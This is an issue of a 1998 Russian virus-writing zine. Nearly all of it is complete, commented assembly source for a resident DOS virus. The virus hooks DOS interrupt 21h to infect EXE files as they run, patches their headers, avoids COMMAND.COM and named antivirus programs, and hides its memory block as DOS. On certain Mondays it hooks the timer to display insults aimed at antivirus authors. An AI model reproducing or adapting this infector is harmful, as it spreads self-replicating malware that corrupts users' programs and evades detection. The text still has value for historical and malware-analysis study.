INFECTED VOICE OnLine (C)1994-98, by STEALTH group h/p/v/a zine [Russian] http://sourceofkaos.com/stealth http://www.redline.ru/~one 1998 Online Issue #0 mailto: noxyucT@usa.net ----------------------------------------------------------------------- ; (c) 1998 by FlashLight. ; -------------------------------------------------------------------------- ; Посвящается мне... и мне! ... и мне ! ... и мне! ХРЕН ВАМ ВСЕМ! НИКОМУ! ; Написан в нехЕрГОРЬЕВСКЕ и, как бы написал беззубов, тьфу, безруков, техно- ; крысой по кличке FlashLight. ; Простой TSR.EXE Infects on 21h/4Bh Определяется ВЪЁБОМ, ; как вирус OneHalf :) шутка, определяется эвристикой. А вы что хотели! ; Это просто пример! ; В понедельник определенного числа (в зависимости от 20) выводит "правду". ; ламер! изменение copychit'a сопровождается удалением нервных клеток ; из головного мозга... ; -------------------------------------------------------------------------- .286 .model small day=1 ; Понедельник (видно в понедельник их мама родила... :) time=21840 ; 20 minutes (20*60 sec*18.2) @version equ 1000h at_green=00001010b ; ярко-зел. на черном at_yellow=00001110b ; ярко-жел. на черном at_violet=00001100b ; фиолет. на черном (не помню) push_all macro ; Макрос: pusha ; сохраняем все регистры в стеке push es ; и сегментные push ds ; тоже endm pop_all macro ; Макрос: pop ds ; восст. сегментные pop es popa ; восстановим все регистры из стека endm ; Макрос: пауза pause macro cli ; запретить прерывания in al,60h ; прочитать тек. состояние клавиатуры mov cs:[val_],al ; запомнить состояние @p: in al,60h ; прочитать сост. клавиатуры cmp al,cs:[val_] ; изменилось? jz @p ; значения одинаковые-не изменилось sti ; разрешить прерывания endm code segment para public 'code' assume cs:code,ds:code,es:code,ss:code org 0 start: call vir_main ; определим смещение в файле vir_main: ; адрес возврата будет лежать в стеке pop bp ; заберем его из стека sub bp,3 ; уменьшим на 3 (т.к. команда call vir_main alt=offset vir_main ; занимает 3 байта) jmp init ; на установку в память ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ; а это перехваченный инт 8 (таймер). Перехватывается только в ; понедельник определенного числа, а в остальное время не работает. ; Вызывается инт 8 восемнадцать раз в секунду ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Hooked_int8: pushf ; сохраним флаги в стеке cmp word ptr cs:[counter],time ; проверим счетчик jz effect_run ; если совпал, то запускаем эффект inc word ptr cs:[counter] ; если время не пришло, то увеличиваем popf ; счетчик. jmp @back ; на выход effect_run: mov cs:[counter],0 ; обнуляем счетчик, чтобы через 20 мин. опять появилась push_all ; сохраним все регистры push cs pop ds ; DS=CS call eff_pr ; вызываем эффект pop_all ; восстановим все регистры popf ; восстановим флаги @back: db 0eah ; код команды jmp far old8 dd 0 ; двойное слово-оригинальный адрес инт 8ого ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ; а это собственно идет сам эффект ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- eff_pr: ; сначала сохраним первые три строки экрана push ds ; сохр. DS pop es push ds ; DS=ES cld mov cx,80*2*3 ; 3 строки mov ax,0b800h ; адрес видеобуфера mov ds,ax mov di,offset buf+20h ; сюда будем сохранять xor si,si ; отсюда будем читать (B800:0000) rep movsb ; поехали pop ds ; восстановить DS mov es,ax ; ES=B800 xor di,di ; задаем позицию вывода mov si,offset mess ; смещение строки, кот. будем выводить mov cx,len*2 ; длина строки*2 mov dl,at_green ; атрибут цвета call out_mess ; процедура вывода строки на экран ; остальные две строки выводяться таким же макаром mov si,offset mess2 mov cx,len2*2 mov dl,at_yellow call out_mess mov si,offset mess3 mov cx,len3*2 mov dl,at_violet call out_mess pause ; подождем, пока нажмут на кнопку ; восстанавливаем содержимое экрана cld mov cx,80*2*3 ; количество байт xor di,di ; по смещению 0 mov si,offset buf+20h ; тут он хранится rep movsb ; понеслась ret ; si- offset mess ; cx- len ; dl- attribute out_mess: movsb mov byte ptr es:[di],dl dec cx inc di loop out_mess ret mess db 'лОЗИНСКИЙ-ЛОХ, аИДСТЕСТ-гОРБУХА, дАНИЛОВ-лОХ, вЕБ-пОПСНЯ, кАСПЕРСКИЙ-мУДАК!,' len=$-mess mess2 db 'аВП-дЕРЬМО, дИАЛОХ-нАУКА МАСТ ДАЙ! аНТИВИРУСНИКИ МАСТ ДАЙ! лАМЕРЫ мАСТ дАЙ! ' len2=$-mess2 mess3 db 'В ваших созгах жиреет попс... какая попсня, какая попсня.(с) Гражданская Оборона' len3=$-mess3 val_ db 0 counter dw 0 ; счетчик ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ; Перехваченный вектор 21H. Тут мы будем заражать на выполнении (4BH) ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Hooked_int21: pushf cmp ax,0ddddh ; проверка на инсталяцию jnz check_run mov ax,01111h ; в AX идентификатор, что уже мы в памяти mov si,@version ; в SI сунем версию popf ; мы уже давно тут :) iret check_run: cmp ax,4B00h ; запуск? jz process jmp return_back ; не, не запуск process: int 3 push_all mov si,dx ; при запуске имя лежит в DS:DX mov ax,word ptr ds:[si+3] or ax,2020h cmp ax,'oc' ; COMMAND.COM jz process_over ; не заражаем cmp ax,'rd' ; dRWEB-пОПСНЯ jz process_over ; не заражаем cmp ax,'ia' ; аИДСТЕСТ-гОРБУХА jz process_over ; не заражаем call super_open ; откроем файл. jc process_over ; ошибка-на выход ; ошибок нет, попробуем заразить push ds push cs pop ds ; прочитаем заголовок mov ah,3fh mov cx,18h mov dx,offset buf int 21h pop ds jc process_close ; ошибка-выход mov di,offset buf ; указывает, куда мы прочитали загаловок call exe_config ; эта процедура настраивает заголовок or ax,ax ; AX=0, ели возникла ошибка (файл типа COM) jz process_close ; закрытие call write_it ; запись загаловка и тела вируса jc process_close ; закроем process_close: mov ah,3eh ; закроем int 21h process_over: pop_all ; восстановим знач. регистров return_back: popf db 0EAh ; прыгнем на настоящий int21 dd 0 ; INT 21H write_it: push ds push cs pop ds ; указатель на конец xor cx,cx xor dx,dx mov ax,4202h int 21h jc write_exit ; запишем вирус mov ax,4000h xor dx,dx mov cx,len_bytes int 21h jc write_exit ; указатель на начало xor cx,cx xor dx,dx mov ax,4200h int 21h jc write_exit ; запишем заголовок mov ax,4000h mov dx,offset buf mov cx,18h int 21h write_exit: pop ds ret ; SUPER_OPEN называется потому, что раньше я делал это через SFT ; а теперь все ДОС из форточек запускают, где SFT нету :( ; А название осталось :)) super_open: push es ; открытие mov ax,3d02h int 21h jc sup_exit ; <--выход. xchg ax,bx ; По умолчанию handle помещаетя в ax, BX=AX ; определим длину. ; конечно, все можно было делать через SFT (если нужен этот вариант, ; могу подкинуть), что естественно покруче, но под форточками SFT не прет :( ; поэтому извратимся... ну нифига себе, сказал, как-будто SFT уже ; привычное дело :)) ; указатель на конец mov ax,4202h xor cx,cx mov dx,cx int 21h ; после такой доблести в DX:AX длина файла mov cs:[flen_h],dx mov cs:[flen_l],ax ; теперь восстановим указатель, мы ведь потом ситать еще будем mov ax,4200h xor cx,cx mov dx,cx int 21h sup_exit: pop es ret ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ; а так настраивают заголовок экзешника, чтобы происходила передача ; управления. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- exe_config: clc cmc cmp word ptr cs:[di+12h],7777h ; может уже заражен? jz exit2 ; ага, на выход cmp word ptr cs:[di],'ZM' ; а это вообще EXEшник? jnz exit2 ; нет, обознались... clc ; сбросим carry flag (признак ошибки) ; теперь сохраним все значения, которые нам пригодяться ; при передаче управления экзешнику mov si,cs:[di+0eh] ; значение SS mov cs:exe_ss,si mov si,cs:[di+10h] ; значение SP mov cs:exe_sp,si mov si,cs:[di+14h] ; значение IP mov cs:exe_ip,si mov si,cs:[di+16h] ; значение CS mov cs:exe_cs,si mov word ptr cs:[di+12h],7777h ; теперь поставим признак зараженности mov cs:[di+10h],len_bytes+100h ; значение SP за тело вируса ; теперь подсчитаем смещение, куда произойдет передача управления при ; запуске файла mov ax,cs:flen_l mov dx,cs:flen_h mov cx,16 div cx sub ax,cs:[di+8] ; вычтем длину заголовка ; запишем в заголовок только что полученные значения mov cs:[di+16h],ax ; CS mov cs:[di+0eh],ax ; SS mov cs:[di+14h],dx ; IP ; теперь изменим значения в загловке, кот. отвечают за длину файла mov si,len_bytes ; длина вируса ;add si,100h mov ax,cs:flen_l mov dx,cs:flen_h add ax,si ; добавим к длине файла длину вируса adc dx,0 ; на случай переполнения mov cx,512 ; получем длину в блоках по 512 байт div cx or dx,dx ; dx=0 jz get_new ; нам везет :) inc ax get_new: mov cs:[di+4],ax ; запишем полученные данные mov cs:[di+2],dx ; в заголовок config_exit: ret exit2: xor ax,ax ret parm_block: flen_h dw 0 flen_l dw 0 ftime dw 0 fdate dw 0 db '(c) Copychit by FlashLight',0 ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ; Установка в память. Если сегодня понедельник и число>20, то ; вдобавок установим int 8 для вызова эффекта ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- init: push_all ; а может мы уже в памяти? mov ax,0ddddh int 21h cmp ax,01111h jnz @1 jmp quit ; по ходу да, тогда на выход @1: push ds mov bx,ds dec dx mov ds,bx mov bx,ds:[3] ; общая память pop ds sub bx,(len_bytes/16)+7 ; уменьшим на столько, сколько нам надо. mov ah,4Ah ; и изменим int 21h ; выделенный нам блок jc quit mov ah,48h ; а теперь выделяем себе mov bx,(len_bytes/16)+6 ; чуток памяти int 21h jc quit push cs push ax ; Сохраним int21 ; ну тут я наизвращался... xor si,si mov ds,si mov si,ds:[84h] mov word ptr cs:[int21-vir_main+bp+alt],si mov si,ds:[86h] mov word ptr cs:[int21-vir_main+2+bp+alt],si ; Сохраним инт 8, не зависимо от того, будем его перехватывать или нет mov si,ds:[8h*4] mov word ptr cs:[old8-vir_main+bp+alt],si mov si,ds:[8h*4+2] mov word ptr cs:[old8-vir_main+bp+alt+2],si ; Копирyем в сегмент pop es ; Куда будем копирить pop ds ; откудова cld mov si,bp ; si=смещение в файле xor di,di ; di=0 mov cx,len_bytes ; cx=длина rep movsb ; копируем. опсс.. есть контакт. :) mov ds,cx mov word ptr ds:[84h],offset Hooked_int21 mov ds:[86h],es ; получим системную дату mov ah,2Ah int 21h ; запретим прерывания, инт 8 ведь устанавливаем cli cmp al,day ; Понедельник? jnz hide ; нет конечно cmp dl,20 jb hide ; установим на себя mov word ptr ds:[8h*4],offset Hooked_int8 mov ds:[8h*4+2],es hide: ; замаскируемся под ДОС mov si,es dec si mov es,si mov word ptr es:[1],0070h ; это DOS не до конца загрузился, sti ; теперь вот подгружаемся... :) quit: cmp cs:[exe_ss+bp],0 ; проверка, это первый запуск или нет jz do_it asdf: ; вот так выглядит передача управления EXE'шнику ; можно было сделать через jmp far, тогда бы не пришлось ; заботиться о стеке mov ax,es add ax,10h add cs:[exe_ss+bp],ax add cs:[exe_cs+bp],ax pop_all cli mov ss,cs:[exe_ss+bp] mov sp,cs:[exe_sp+bp] sti push cs:[exe_cs+bp] push cs:[exe_ip+bp] xor bp,bp retf do_it: ; все восстановим и выедем в ДОС pop_all mov ax,4c00h int 21h exe_ss dw 0 exe_sp dw 0 exe_cs dw 0 exe_ip dw 0 len_bytes=$-start len_par=($-start)/16+3 buf: code ends end start ; Уф, ну и заманался я это все комментировать, а если учесть, что по ящику ; был концерт Аллы Пугачевой, от которой тащится моя бабка, то это ; просто ужас... %-E ===cut here===